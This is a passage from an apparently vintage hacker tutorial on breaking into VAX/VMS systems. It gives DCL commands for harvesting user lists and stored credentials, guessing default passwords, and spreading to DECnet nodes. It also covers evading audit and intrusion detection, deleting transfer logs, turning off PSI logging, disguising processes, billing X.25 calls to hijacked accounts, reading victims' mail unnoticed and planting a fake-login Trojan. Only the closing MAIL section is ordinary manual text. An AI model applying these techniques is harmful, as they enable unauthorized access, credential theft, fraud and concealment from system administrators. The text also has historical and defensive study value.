  856. unless you have created them! People will notice things like this and you are
  857. guaranteed to lose your account.
  858.  
  859.  Once you are an experienced hacker you may wish to create a program that gives
  860. you more privileges.  To get you started in this direction i will give you
  861. an excerpt out of the 'VAX/VMS internals and data structures' manual:
  862.  
  863.  
  864. If a process wishes a privilege that is not in its authorized list, one of two
  865. conditions must hold or the requested privilege is not granted.
  866.  
  867. 1)The process must have SETPRV privilege.  A process with this privilege can
  868.   acquire any other privilege with either the set privilege system service or
  869.   DCL command SET PROCESS/PRIVILEGES.
  870.  
  871. 2)The system service was called from executive or kernal mode. This mechanism
  872.   is an escape that allows either VMS or user-written system services to
  873.   acquire whatever privileges they need without regard for whether the calling
  874.   process has SETPRV privilege.  Such procedures must disable privileges
  875.   granted in this fashion as part of their return path.
  876.  
  877.  
  878. That should give you an idea of what is necessary to go about writing a program
  879. that grants you extra privileges.  For those advanced programmers, here is the
  880. relevant information:
  881.  
  882.  
  883.  
  884. Symbolic name   Location           Usage                          Referenced By
  885. ---------------+------------------+------------------------------+-------------
  886. PHD$Q_PRIVMSK  !process header    !working privilege mask        !system srvc's
  887. PCB$Q_PRIV     !PCB               !same as phd$q_privmsk         !device driver
  888. CTL$GQ_PROCPRIV!P1 Pointer page   !permanently enabled privs     !SET UIC
  889. PHD$Q_AUTHPRIV !process header    !procs allowable privs         !$setprv
  890. PHD$Q_IMAGPRIV !process header    !mask for enhanced priv images !$setprv
  891. UAF$Q_PRIV     !sysuaf.dat        !UAF allowable privs           !LOGINOUT
  892. KFI$Q_PROCPRIV !priv install image!image installed with privs    !image actvatr
  893. IHD$Q_PRIVREQS !image header      !unused - set for all privs!   !image actvatr
  894. ---------------+------------------+------------------------------+-------------
  895.  
  896.  
  897.  
  898. ONLINE SECURITY
  899. ---------------
  900.  
  901. Version 4.2 of VMS introduced the security auditing features.  These features
  902. can be used to track down hackers and illegal use of the machine. Things such
  903. as access to files, login failures, process creation, adding users etc can all
  904. be monitored and logged.  After you have logged into an unknown system, it is
  905. wise to check what kind of security they have enabled on the system. This is
  906. done in two ways. First you should try:
  907.  
  908. $show accounting
  909.  
  910. Normally this will either say accounting is disabled or will have a list of
  911. items that are being monitored.  This is used mainly for charging the users for
  912. CPU time etc.  What you should check for in this list is if IMAGE accounting
  913. is enabled.  If it isn't, then you can relax. If it is, you know that you have
  914. a smart system manager here and you will have to take extra precautions when
  915. fiddling around on this machine.  The second thing you should check is the
  916. actual level of security enabled.  Generally this feature is disabled, and you
  917. have nothing to worry about. To see the security type:
  918.  
  919. $show audit
  920.  
  921. One thing to note is that you must have the SECURITY privilege to issue this
  922. command. An especially secure system may have things such as breakins, logins,
  923. logfailures, file access (both successes and failures),and authorization
  924. checks.  These systems require a tremendous amount of care, and are not a good
  925. place to start learning about VMS.
  926.  
  927. Another important thing that you should keep in mind is that VAX/VMS stores
  928. information about login failures (invalid password, account expired, unknown
  929. username).  A security manager can identify possible breakin attempts by using:
  930.  
  931. $show intrusion/type=intruder
  932.  
  933. This command requires the CMKRNL and SECURITY privileges.  An interesting thing
  934. to note is that the system manager can have the VAX do certain things after it
  935. has determined that the user trying to log in is not legitimate.  For example
  936. it can block all login attempts from a certain terminal, or it could turn off
  937. accepting passwords for a certain account for a specified period of time. So
  938. lets suppose you were hacking an account and after 10 tries actually entered
  939. the right password.  If the intrusion alert is set at 5 tries, then even if you
  940. enter the correct password, it wont let you in!!
  941.  
  942.  
  943. EXPIRED PASSWORDS
  944. -----------------
  945.  
  946. I want to make a quick note here about expired passwords.  Often you will find
  947. after logging into an account that it will say that your password has expired
  948. and for you to enter a new password.  At this point you should check when was
  949. the last date of access. If it was only a few days ago, then you should forget
  950. about this account.  If it more than a few weeks ago, then you have found your-
  951. self an INACTIVE account (ie one that is not in use anymore)  The first thing
  952. that you should do is set a new password. For example:
  953.  
  954. $set password
  955.  
  956. Passwords can be from 1-31 characters in length and can contain the following
  957. characters:
  958.  
  959. A-Z
  960. a-z
  961. 0-9
  962. $ (dollar sign)
  963. _ (underscore)
  964.  
  965. Note that uppercase, and lowercase are not differentiated (unlike UNIX).  The
  966. reason that you should enter a password at this point is that if you don't, the
  967. next time the account will not let you log in since the password has expired.
  968.  
  969.  
  970.  
  971.  
  972. GAINING MORE ACCOUNTS
  973. ---------------------
  974.  
  975. Once you have managed to hack onto a VAX, often you will want to gain more
  976. accounts on the system.  There are several ways to go about doing this.  The
  977. first way is to get a list of all the users on the system.  Remember that the
  978. default password for any account is the same as the username. Well if you have
  979. a list of users, theres a good chance you may find a few who haven't bothered
  980. to change their passwords.  There are a few methods of viewing the userlist.
  981. The simplest, but least readable way is to:
  982.  
  983. $type sys$system:rightslist.dat
  984.  
  985. and buffer the incoming information. You will notice some garbage characters
  986. also sent through.  The way this file is set up is a 1-2 byte character ID
  987. followed immediately by a 32 byte string with the username.  So to pick out the
  988. usernames, simply ignore the first character from each name, and then you have
  989. the usernames. There is one small problem to this. Sometimes the character ID
  990. in front of the name is a SPACE.  In this case, you would still skip the first
  991. character (which is a space), but in viewing the name you would take all the
  992. characters.  So you just have to use your judgement when looking at this list
  993. to determine whether the string is the whole name, or whether it has an ID
  994. code stuck in the beginning. The problem is that the ID code is not necessarily
  995. a garbage character, it could be any valid ascii character (spaces,letters,
  996. numbers etc)  The thing that you should keep in mind is that these ID codes are
  997. grouped together, so you may see several names that all start with 'A' and you
  998. can assume that this is the ID and not part of the actual name.
  999.   Another method which is a bit slower, but a lot neater is to use the DUMP
  1000. command on the rightslist file:
  1001.  
  1002. $dump sys$system:rightslist.dat
  1003.  
  1004. This is quite useful, because it automatically strips away control characters,
  1005. and puts each name into a separate record which makes it easy to isolate the
  1006. proper login names.
  1007.  
  1008.   An alternative method is to run the psi$authorize file from the system dir.
  1009. To do this, type:
  1010.  
  1011. $mc psiauthorize
  1012.  
  1013. When you get the PSI-authorize prompt, type:
  1014.  
  1015. PSI-authorize> show /id *
  1016.  
  1017. This will list all the users on the system. The drawback to this method is that
  1018. the system that you are on, may have taken out the PSI utilities from the
  1019. system directory.  The PSI utilities are used mainly for remotely connecting
  1020. to other mainframes.
  1021.  A third method to get a listing of all the users is to go through the sysuaf
  1022. database.  On most accounts this is usually not possible , since most users do
  1023. NOT have read/write access to sysuaf.dat.  If you DO have access to this file
  1024. (ie you have readall or setprv etc) then you can run authorize:
  1025.  
  1026. $sd sys$system
  1027. $run authorize
  1028.  
  1029. Then when you get the UAF prompt, type:
  1030.  
  1031. UAF>show [*,*] /brief
  1032.  
  1033.  The added bonus of doing it this way is that you can also find out things such
  1034. as the users home directory, when was the last time they logged in, what their
  1035. privileges are etc.  Easy to isolate the good accounts on the system that you
  1036. may want to hack at. It should be noted however, that if you CAN perform this
  1037. command, then you also have the priv's to create your own user, or better yet
  1038. change the password on an inactive account.
  1039.  There is another possibility that sometimes works on many systems.  Often, the
  1040. system manager uses the LIST command from AUTHORIZE and what it does is produce
  1041. a user listing in the file called: SYSUAF.LIS in the SYS$SYSTEM directory. If
  1042. he has done this, unless he explicitly changes the protection on the file, this
  1043. file has WORLD READ access.  In other words, anyone can go in and type out the
  1044. file. To do this try:
  1045.  
  1046. $type sys$system:sysuaf.lis
  1047.  
  1048.    Ok so lets assume that you have used one of these methods and have come up
  1049. with a list of all the users on the system. Now comes the tedious part. What
  1050. you have to do is log back into the system, and try each of the names out. For
  1051. the password, enter the same thing as you did for the username.  This is a long
  1052. and boring process depending on how large the userbase is, but it usually
  1053. yields a few good accounts.
  1054.  
  1055.  Another interesting variation on this, is to get accounts on remote nodes that
  1056. are linked with your VAX.  To see other nodes that are accessible from your
  1057. VAX, type:
  1058.  
  1059. $show net
  1060.  
  1061. This will produce a listing like:
  1062.  
  1063.  
  1064.  
  1065. VAX/VMS Network Status for local node 2.161 NORTELCOM on 01-SEP-1989
  1066.  
  1067. The next hop to the nearest area router is node 2.62 BELCAN
  1068.  
  1069. Node                 Links     Cost    Hops   Next Hop to Node
  1070.  
  1071. 2.161 NORTELCOM        0         0      0     Local   ->  2.161 NORTELCOM
  1072. 2.6 JANUS              0         3      3     UNA-0   ->  2.6   JANUS
  1073. 2.2 LUMPY              0         9      5     UNA-0   ->  2.2   LUMPY
  1074. 2.3 SBSU               0         5      4     UNA-0   ->  2.3   SBSU
  1075. 2.4 AURORA             0         4      4     UNA-0   ->  2.4   AURORA
  1076.  
  1077.  Total of 5 nodes.
  1078.  
  1079.  
  1080. This is a sample output that you would see on your screen.  Let me give a brief
  1081. explanation of what each column means.  The first column shows the node address
  1082. and the NodeName.  The node name is the most important to the VAX hacker since
  1083. that is how you will be contacting the remote node.  LINKS shows the number of
  1084. logical links between the local node and each available remote node. COST shows
  1085. the total line cost of the path to a remote node.  HOPS shows the number of
  1086. intermittent nodes plus the target node.  NEXT HOP TO NODE shows the outgoing
  1087. physical line used to reach the remote node.
  1088.  
  1089. The important item from this list of course is the node name. By referencing
  1090. this you can connect to other nodes.  A nice technique that allows you to get
  1091. user accounts on other nodes without actually having access to the node employs
  1092. this idea. For example, if you want to find out the user list of a node SBSU,
  1093. you could type:
  1094.  
  1095. $copy sbsu::sys$system:rightslist.dat sys$login
  1096.  
  1097. This will then transfer the rightslist from the other node to your login
  1098. directory, giving you a list of all the users on the other system that you can
  1099. hack out.
  1100.  
  1101. It should be noted that copying files from another node will create a file
  1102. on the remote node indicating your transfer.  To get rid of this, log onto the
  1103. remote node and delete the file called NETSERVER.LOG   (just delete the file
  1104. versions that you have created, and leave the others alone!)
  1105.  
  1106. There is another useful trick that sometimes yields more USER accounts on other
  1107. systems.  Try typing:
  1108.  
  1109. $show logical
  1110.  
  1111. This will present you with a giant list of what seem like symbol equates. What
  1112. you should look for in here is something that accesses a file in another system
  1113. eg.
  1114.  
  1115. "mainuaf"=sbsu::sys$system:sysuaf.dat
  1116.  
  1117. Many times, a user/password combination is hidden among these definitions. To
  1118. find these, simply search the file for occurrences where they have a nodename
  1119. such as SBSU followed by a quote and some info. An example:
  1120.  
  1121. "mainuaf"=sbsu"system manager"::sys$system:sysuaf.dat
  1122.  
  1123. The important part is the info in quotes after the node name. The first item
  1124. (before the space) is a username, and the word after the space is the password.
  1125. It is rare to find such an occurrence, but it should not be overlooked, since
  1126. it can sometimes yield high system level accounts.  In this example, node SBSU
  1127. has a user called SYSTEM, who's password is MANAGER.
  1128.  
  1129.  
  1130.  
  1131. DECNET and PSI
  1132. --------------
  1133.  
  1134. If you do a SHOW NET and it gives you a list of other nodes, you can connect to
  1135. these nodes using the SET HOST command. For example to connect to node SBSU:
  1136.  
  1137. $set host sbsu
  1138.  
  1139. This will then connect you to SBSU, and you have to go through their login
  1140. procedure also.  An interesting trick to note is, lets suppose that you have
  1141. hacked an account out on node SBSU.  What you want to find out is the DATAPAC
  1142. or TELENET address of the machine.  To do this use:
  1143.  
  1144. $mc ncp tell sbsu sh known dte
  1145.  
  1146. This will then give you the address of the machine, so that you can call it
  1147. directly rather than through this VAX.  You may want to do this to increase
  1148. speed, since obviously calling through another VAX slows things down a bit.
  1149.  
  1150. Another method which often works is to use the SHOW LOGICAL command.  By
  1151. specifying a certain table, you can sometimes get a list of the NUAs of the
  1152. other nodes in the same cluster as your node.  To do this type:
  1153.  
  1154. $show logical/table=*psi*
  1155.  
  1156. An alternative method which is a bit messy and requires higher privileges is to
  1157. type out the NETCIRC.DAT file. ie:
  1158.  
  1159. $type sys$system:netcirc.dat
  1160.  
  1161. On all the systems that I have seen, none of them had WORLD READ access to this
  1162. file, so it is not possible to read this with just TMPMBX and NETMBX privileges.
  1163.  
  1164. Many times you will want to call a phone number to another machine. To do this
  1165. use:
  1166.  
  1167. $set host/dte txa0: /dial=number:5551212
  1168.  
  1169. This command will dial out to 555-1212 using the terminal TXA0:  To dial out a
  1170. phone number, you MUST specify a terminal that is hooked up to a modem.  To
  1171. find out which terminals have modems type:
  1172.  
  1173. $show device
  1174.  
  1175. This will give you a list of devices hooked up to the VAX. Devices are 4
  1176. character strings followed by a colon (:) The terminals that you can use are
  1177. usually further down the list.  To test the terminal for a modem, use the
  1178. following line, which also illustrates the importance of lexicals:
  1179.  
  1180. $write sys$output f$getdvi("txa0","tt_modem")
  1181.  
  1182. This above line would test the terminal TXA0: to see if it has a modem attached
  1183. If it responds with TRUE, then you have a modem, otherwise not. Note that you
  1184. must put the terminal name in quotes, and also that you DO NOT enter the colon.
  1185.  
  1186. If the VAX you have hacked onto is hooked up on a packet switching system such
  1187. as DATAPAC or TELENET, then there is another USEFUL thing you can perform. To
  1188. call out NUA's use the /X29 qualifier. For example:
  1189.  
  1190. $set host/x29 026245400050570
  1191.  
  1192. This would call up the NUA 026245400050570 (altos:tchh).  What is interesting
  1193. to note is that on many VAX's you can call out to foreign remote nodes such as
  1194. in the example and the charge for the collect call is placed to the account
  1195. through which you are logged in as.  This is a safe and easy method to call out
  1196. to PSDN's which are normally long distance from you.  It should be noted that
  1197. many system managers turn off foreign DNICs, which may limit you to calling
  1198. only within your local DNIC.
  1199.  One precaution you may want to take when using the SET HOST/X29 command is to
  1200. turn off logging.  Although this is usually turned off, some system managers
  1201. may buffer everything you type in and keep it in a file. To temporarily turn
  1202. the logging off, try this:
  1203.  
  1204. $run sys$system:psipad
  1205.  
  1206. It will then ask for NODE:  just hit RETURN, then:
  1207.  
  1208. PSI>show log_file
  1209.  
  1210. this will either say that buffering is off or it will give you a filename with
  1211. a directory path. If it is not off then make a note of the file, then type:
  1212.  
  1213. PSI>set nolog_file
  1214.  
  1215. This will turn off the buffering. After you are through with the remote session
  1216. be sure to turn it back on with:
  1217.  
  1218. PSI> set log_file xxxx:[xxxx.xxxx]xxxxx.xxx
  1219.  
  1220. All the xxx's represent the full filename path that you initially wrote down
  1221. when you did the SHOW LOG_FILE command.
  1222.  
  1223.  I want to point out another interesting trick that sometimes works on certain
  1224. accounts. Many a time i have encountered an account on a Vax which would simply
  1225. allow you to call out to another node. It had no other purpose, and would
  1226. refuse to give you DCL access.  If you encounter such an account and it asks
  1227. you to enter a nodename, try putting /x29 NUA.  This technique allows you to
  1228. dial out to remote systems via some PSS even though you do not have DCL access!
  1229. An example:
  1230.  
  1231. Enter nodename> /x29 026245400050570
  1232.  
  1233. If /X29 isn't disabled, this will allow you to call that NUA.
  1234.  
  1235. One thing to note is that not all systems allow you to call out using these
  1236. methods. Some have /x29 disabled, others have /dial disabled etc.  In order to
  1237. overcome this barrier, it is important to know which files are involved.  If
  1238. you want to dial out, you MUST have the modem files (such as DMCL). If you want
  1239. to dial out across a PSS, you must have the PSI utility files, and lastly if
  1240. you wish to dial out to another node in the cluster you must have RTPAD.EXE on
  1241. the local node and REMACP.EXE and RTTDRIVER.EXE on the remote node.
  1242.  
  1243. One quick note about finding other VAXes that have PSI utilities on them. Often
  1244. you may want to hack only those VAXes that have PSIPAD on them.  To determine
  1245. if a particular VAX in your cluster has the capability, issue the command:
  1246.  
  1247. $dir NODE::sys$system:psi*.*
  1248.  
  1249. NODE stands for the nodename that you want to check.  If this returns with a
  1250. message that no files match, then this particular VAX does not have PSI
  1251. installed.  If on the other hand it returns with several file names, then it
  1252. does have the PSI utilities installed.
  1253.  
  1254. This is just a VERY brief overview of the DECnet setup on VAX/VMS systems.  For
  1255. a more detailed analysis, look for my other file: 'Understanding DECnet and
  1256. NCP'
  1257.  
  1258.  
  1259.  
  1260. HIDING ON THE SYSTEM
  1261. --------------------
  1262.  
  1263. There are several methods that allow you to remain undetected once you have
  1264. hacked onto a VAX.  One of the most important things is to leave things as they
  1265. are, in other words, do not delete files or subdirectories.  You should also
  1266. avoid leaving suspicious looking COM or EXE files that you may have created.
  1267.  
  1268. An important ability to have is being able to hide from SHOW USER. There are
  1269. several ways of going about this, but the simplest is to become a
  1270. non-interactive process. Or to become a subprocess of some other
  1271. non-interactive process such as a BATCH or NETWORK process.  Although this will
  1272. hide you from SHOW USERS, you will still be visible if someone did a SHOW
  1273. SYSTEM. To get around this you should also specify your process name to a
  1274. printer driver or something. For example:
  1275.  
  1276. $show system
  1277.  
  1278. Look for the process that has a name of "SYMBIONT_xxxx" where xxxx is a number.
  1279. These are the printer drivers on the system.  Look for the last number on the
  1280. list and then change your own process to one higher than this number.  For
  1281. example if the last printer is 5 then type:
  1282.  
  1283. $set proc/name="SYMBIONT_0006"
  1284.  
  1285. At the end of this file i have enclosed a small 20 line assembler program that
  1286. you can enter through EDIT.  It allows you to hide from SHOW USER by changing
  1287. your process to an OTHER non-interactive process. After you assemble the file,
  1288. link it and then execute it using the RUN command. You should then copy this
  1289. file to some rarely used directory, where no one else will notice it.
  1290.  
  1291. OTHER PROCESSES
  1292. ---------------
  1293.  
  1294.   So you have hacked your way in, and everything is going smooth. Now you want
  1295. to find out what all the other people on the system are doing.  There are
  1296. several ways of finding out who else is using the system and what they are
  1297. doing. Here i will outline some of the basic methods.
  1298.   Perhaps the simplest command that you can issue to see who else is logged in
  1299. is the SHOW USER command.
  1300.  
  1301. $show user
  1302.  
  1303. a typical output might look like:
  1304.  
  1305.  
  1306.  
  1307.             VAX/VMS Interactive Users
  1308.               1-SEP-1989 12:48:51.14
  1309.  
  1310.        Total number of interactive users=5
  1311.  
  1312.    PID        Username    Process Name     Terminal
  1313.  
  1314. 202000B3      DELUCAJ     DELUCAJ          VTA21:      TTA7:
  1315. 204000C4      <login>     _vta13:          VTA13:      LTA8:
  1316. 20400138      OPERATOR    system monitor   VTA17:      OPA0:
  1317. 2040013D      POLLACK     POLLACK          VTA11:      TTB0:
  1318. 204000BC      ENTITY      FUK YOO          VTA15:      TTA1:
  1319.  
  1320.  
  1321. Ok so what does all this mean?! Well lets go one column at a time. The first
  1322. column gives you your process identification number. This is a unique number
  1323. that is assigned to each process as it logs in.  The number itself really
  1324. doesn't matter, however it is required for certain commands.  The next column
  1325. is the username of the process. This always puts the name of the account that
  1326. you logged in with.  Sometimes you may notice that instead of a name it says
  1327. <login>   This indicates that someone is currently going through the login
  1328. procedures under that PID.  The next column is the process name. This is
  1329. defaulted to be the same as your username, but can easily be changed. For
  1330. example:
  1331.  
  1332. $set proc/name="Hacker!"
  1333.  
  1334. This will set your process name to Hacker!  Since everybody will see this when
  1335. they do a SHOW USER command, it is not recommended that you choose something
  1336. that will give you away. In general, you leave this as the default.  The next
  1337. column shows the virtual terminal that you are logged into.  The last column
  1338. shows the physical terminal that you are logged into. It is important to check
  1339. this last column.  You should check to make sure that nobody is logged in under
  1340. OPA0:  Anyone logged in under this is using the system console, which means
  1341. that they could possibly be watching you!  Another one to note is RTxx: which
  1342. indicates a process that is remotely logged in (ie calling in from another
  1343. VAX or something)  Other things that you should watch out for are users who are
  1344. logged in under the SYSTEM account or any other high-privileged accounts.  Any
  1345. one of OPERATOR,OPER,SYSTEM,SYSMGR etc could mean trouble for the hacker.
  1346.  
  1347.  One thing that you may notice on some systems is that a process will be logged
  1348. on ALL the time under the OPA0: terminal.  What's going on?! Is the system
  1349. manager there all the time?  No. What happens on many systems is that the
  1350. system manager logs into his terminal, and doesn't bother logging out at the
  1351. end of the day, leaving his process running often for weeks at a time.  There
  1352. is no easy way to know if the guy is really there or not.  There are two things
  1353. you can do. One is to check the time that the account has been IDLE, but there
  1354. is no easy way to check this without going into some programming.  The next
  1355. best you can do is issue the SHOW SYSTEM command.  This will show all the
  1356. processes currently running, their priority levels, how much CPU time they are
  1357. eating up etc. A typical report may look like:
  1358.  
  1359. $show system
  1360.  
  1361. VAX/VMS X2EN  on node DELPHI  01-SEP-1989 15:10:31.02   Uptime   0 12:06:30
  1362.  
  1363.   Pid      Process Name   State  Pri     I/O      CPU        Page flts  Ph. Mem
  1364.  
  1365. 22200080   NULL           COM    0         0    0 16:34:12.00        0        0
  1366. 22200088   SWAPPER        HIB    16        0    0 00:03:52.53        0        0
  1367. 22200113   ENTITY         LEF    4     16505    0 00:00:12.02     8689      233
  1368.  
  1369.                                :
  1370.                                :
  1371.                                :
  1372.                                :
  1373.  
  1374.                             etc etc
  1375.  
  1376.  
  1377.  
  1378. This display can give you several important pieces of information about other
  1379. processes. The explanation of each column:
  1380.  
  1381. PID       - the process identification number
  1382. Proc Name - the name of the process. Note that certain non-interactive system
  1383.             processes such as NULL, SWAPPER, ERRFMT etc are always running in
  1384.             background.
  1385. STATE     - This is important.  This tells you what the process is currently
  1386.             doing.  HIB-hibernating, COM-computing, LEF-active, CUR- current
  1387. PRIORITY  - the higher the priority number, the higher priority it has in terms
  1388.             of accessing CPU time.
  1389. I/O       - Shows the accumulation of the direct I/O and buffered I/O
  1390. CPU       - the total amount of CPU time the process has used so far
  1391. PAGE FLTS - page faults, number of exceptions generated. Not very useful...
  1392. PH. MEM   - amount of physical memory that the process occupies
  1393.  
  1394. A further thing you may notice after the last column on some processes is a
  1395. single letter. This is the process indicator, and it can be one of:
  1396.  
  1397. B - batch job
  1398. S - subprocess
  1399. N - network process
  1400.  
  1401.  
  1402. Another useful option is the ability to know which files, each of the processes
  1403. are accessing. To accomplish this type:
  1404.  
  1405. $show devices/files/nosystem
  1406.  
  1407. The only problem with this command is that it will not show the filename if you
  1408. do not have read access to it. (or the BYPASS privilege)
  1409.  
  1410. Perhaps the most POWERFUL tool that the VAX/VMS hacker has is the System Dump
  1411. Analyzer (SDA).  An important option of this allows you to view all the process
  1412. running on the system, what files they are accessing, their process status,
  1413. the contents of their virtual memory (such as keyboard buffer) etc etc  A VERY
  1414. powerful command, it is started with the command:
  1415.  
  1416. $analyze/system
  1417.  
  1418. The only drawback with this command is that it requires the CMKRNL privilege.
  1419. I will discuss this feature in more detail later in the file.
  1420.  
  1421.  
  1422.  
  1423. DETACHED ACCOUNTS
  1424. -----------------
  1425.  
  1426. A very big security loophole which is allowed on many VMS systems are detached
  1427. accounts.  Basically what this allows you to do is cut carrier instead of
  1428. logging out properly.  Instead of logging the process out, it is left waiting
  1429. on the system.  The next user who logs in, instead of getting a Username prompt
  1430. will get your shell ($) prompt!  There are many useful things you can do with
  1431. a detached account.  The most obvious use of course is to set up a Trojan Horse
  1432. program. Basically you write a procedure that simulates the VAX/VMS login
  1433. sequence.  After the user enters his/her username-password, you save this info
  1434. to a file, give him a 'User authorization failure' and throw him into the real
  1435. login sequence.  He will think he mistyped something and this time when he
  1436. tries, he will be able to log in normally. But in the meantime, you have a copy
  1437. of his username/password combination stored away in a file, which you can later
  1438. use!
  1439.  
  1440.  
  1441.  
  1442. EXAMINING FILES
  1443. ---------------
  1444.  
  1445. Often it becomes necessary to examine a file in greater detail than provided by
  1446. a simple TYPE command.  For executable and object files there is of course the
  1447. ANALYZE/IMAGE and ANALYZE/OBJECT commands, but often you want to have a look at
  1448. each individual byte in the file.  The best way to do this is to use the DUMP
  1449. command.  An example:
  1450.  
  1451.  
  1452. $dump test.dat
  1453.  
  1454.  
  1455. DUMP of file DISK0:[NORMAN]test.dat  on  15-APR-1989  15:43:26.08
  1456. File ID (3134,818,2)   End of file block 1 / Allocated 3
  1457.  
  1458. Virtual block number 1 (00000001), 512 (0200) bytes
  1459.  
  1460. 706d6173 20612073 69207369 68540033 3.This is a samp 000000
  1461. 73752065 62206f74 20656c69 6620656c le file to be us 000010
  1462. 61786520 504d5544 2061206e 69206465 ed in a DUMP exa 000020
  1463. 00000000 00000000 0000002e 656c706d mple............ 000030
  1464. 00000000 00000000 00000000 00000000 ................ 000040
  1465.  
  1466.                      :
  1467.                      :
  1468.                      :
  1469.  
  1470. 00000000 00000000 00000000 00000000 ................ 0001E0
  1471. 00000000 00000000 00000000 00000000 ................ 0001F0
  1472.  
  1473.  
  1474. As you can see, this not only shows the ASCII interpretation, but also the HEX
  1475. value for each byte.  This can be VERY valuable in certain situations.  You
  1476. should note that since the default is HEXADECIMAL LONGWORD, the bytes seem to
  1477. be in a backwords order.  This is due to the way the machine stores numbers in
  1478. memory: Lo-byte,LSB,MSB,Hi-byte.  You can optionally specify the numbers to
  1479. come out in decimal or also in single byte format.  Example:
  1480.  
  1481. $dump sbsu::sys$system:rightslist.dat /byte/header/decimal
  1482.  
  1483. See the online HELP files for more detail into the various qualifiers. You
  1484. should note that you CAN use dump to access files on OTHER nodes!
  1485.  
  1486.  
  1487. CREATING TEXT FILES
  1488. -------------------
  1489.  
  1490.   This isn't the best of places to put this topic, but if I don't do it now, I
  1491. will probably forget later on, so here goes...
  1492.   Often you will need to create files on a system, such as messages to other
  1493. hackers, notes to yourself, small DCL programs etc. The basic method is as
  1494. follows:
  1495.  
  1496. $create file.txt
  1497.  
  1498.    Hi this is a dumb message that i am typing just to
  1499.    see how this command works.
  1500.  
  1501.    <CTRL-Z>
  1502.  
  1503. $
  1504.  
  1505. Basically what is happening here is you specify a filename and an extension
  1506. when using the CREATE command (in this case file.txt) and then the system waits
  1507. there for you to type in something.  At this point you can type whatever you
  1508. want, and to end the message/program/memo just hit CTRL-Z. This will return you
  1509. to the DCL prompt.  This is an easy method to transmit COM files that you have
  1510. either created or buffered from some other system.  Just issue the CREATE
  1511. command, send the file through your buffer, then hit CTRL-Z to finish it off.
  1512.  
  1513.  
  1514.  
  1515. VAX/VMS MAIL SYSTEM
  1516. -------------------
  1517.  
  1518.   Although it is not a good idea to use the MAIL system to send or receive
  1519. messages (since the messages can be read by anyone with enough privs) I will
  1520. present a brief list of what it can do.  One important thing to note is that
  1521. whenever there are MAIL messages waiting to be read, they are stored in a file
  1522. that ends with the MAI extension.  So if the account you have logged into has
  1523. received mail, and you really want to read it for some reason, then you can do
  1524. the following from DCL:
  1525.  
  1526. $type mail.mai
  1527.  
  1528. This file is not necessarily called MAIL.MAI, it could be any other name with
  1529. a MAI extension.  Aside from some header information stored at the beginning
  1530. of each message, the rest of the message is mostly in standard ASCII and easily
  1531. readable.  Doing it this way ensures that the message remains there for the
  1532. REAL user when he logs in. (after a message has been read, it is put into
  1533. another area, and the user will not see it.  This could make him suspicious if
  1534. he keeps losing important mail messages!)
  1535.   Reading MAIL files can be quite useful, because sometimes important messages
  1536. are stored here.  Like i stated earlier, you shouldn't be actually using MAIL
  1537. to read the mail since it will then get deleted, and the actual user will
  1538. eventually notice.  Also, you shouldn't use the MAIL system to send
  1539. hacker-related information (to other hackers) because system managers can
  1540. access your mail and read what you have to say.
  1541.   Basically you can use the MAIL facility in two ways: Interactively and
  1542. through the shell.  For ease of use I will only describe the interactive method
  1543. since it is easier and more flexible.  If you insist on doing it from the
  1544. shell, then just call up the ONLINE HELP for the qualifiers.  In any case, to
  1545. interactively use the MAIL utility type:
  1546.  
  1547. $mail
  1548.  
  1549. This will respond with the prompt:
  1550.  
  1551. MAIL>
  1552.  
  1553. At this point you can enter the various mail commands.  Following is a brief
  1554. overview of the more important commands and concepts.  At the end, I have
  1555. provided a table with all the possible commands that can be entered here.
  1556.  
  1557.  
  1558.  
  1559. Heres a brief list of the more important MAIL commands that I will discuss here
  1560.  
  1561.  
  1562.          SEND        DIRECTORY     EXTRACT
  1563.          READ[/NEW]  DELETE        PRINT
  1564.          FORWARD     MOVE          HELP
  1565.          REPLY       SELECT        EXIT
  1566.  
  1567. The first command to try is the SEND command.  Try sending a message to
  1568. yourself Enter the SEND command and press RETURN.  Enter your own user name at
  1569. the prompt and press RETURN.  Enter a subject at the prompt and press RETURN
  1570. again. The following example shows how to use the SEND command:
  1571.  
  1572. MAIL> SEND
  1573. To:PIERCE
  1574. Subj:Sailing
  1575. Enter your message below.  Press CTRL-Z when complete, or CTRL-C to quit:
  1576.  
  1577. When you finish entering the text of your message, press CTRL-Z. Because you
  1578. are sending the message to yourself, MAIL signals that you have just received a
  1579. new message by displaying the following message:
  1580.  
  1581. New mail on node FLAXEN from PIERCE
  1582.  
  1583. MAIL>
  1584.  
  1585. Now, you are ready to use the READ command.  To read the message you just sent
  1586. to yourself, enter the READ command with the /NEW qualifier and press RETURN as
  1587. follows:
  1588.  
  1589. MAIL> READ/NEW
  1590.  
  1591. You must specify the /NEW qualifier with the READ command when you want to read
  1592. new mail that arrives while you are in the Mail Utility.  When you are not in
  1593. the Mail Utility and you receive new mail, invoke MAIL to read the new message,
  1594. you can enter the READ command without the /NEW qualifier.  Or, if you wish to
  1595. read mail that you have already read, you can enter the READ command.
  1596.  
  1597. You can forward a copy of a mail message to another user by entering the
  1598. FORWARD command.  MAIL prompts you for the name of the user to receive the
  1599. message. Try forwarding a copy of the message you just received back to
  1600. yourself. Enter your own user name and press RETURN.  Supply a subject when
  1601. prompted and press RETURN MAIL signals that you have just received a new
  1602. message. Enter the READ/NEW command to read the forwarded message.
  1603.  
  1604. When you receive a message and want to respond to it, enter the REPLY command
  1605. and press RETURN.  MAIL displays the header information as follows:
  1606.  
  1607. MAIL> REPLY
  1608. To:FLAXEN::PIERCE
  1609. Subj:RE: Using the REPLY command
  1610. Enter your message below.  Press CTRL-Z when complete, or CTRL-C to quit:
  1611.  
  1612. When you finish typing your response, press CTRL-Z.  Again, MAIL signals that
  1613. you have just received a new message.  To read the message, enter the READ/NEW
  1614. command.
  1615.  
  1616. When you want to see a list of all the mail messages you have collected, enter
  1617. the DIRECTORY command and press RETURN.  MAIL displays a list like the
  1618. following:
  1619.  
  1620.          # From             Date                  Subject
  1621.  
  1622.          1 FORBES           1-SEP-1989            How to Write a Memo
  1623.          2 SBSU::BERT       2-SEP-1989            Using the Printer
  1624.          3 FROST::BASTIEN   4-SEP-1989            Chicken Kiev
  1625.  
  1626.  
  1627. When you want to remove a message, use the DELETE command.  You can either
  1628. enter the DELETE command while you are reading the message or you can enter the
  1629. DELETE command followed by the number of the message you want to remove.  To
  1630. remove the second message in the list, enter the following command line:
  1631.  
  1632. MAIL> DELETE 2
  1633.  
  1634. If you enter the DIRECTORY command after you have deleted a message (or
  1635. messages), you see the messages marked for deletion, as follows:
  1636.  
  1637.          # From             Date                  Subject
  1638.  
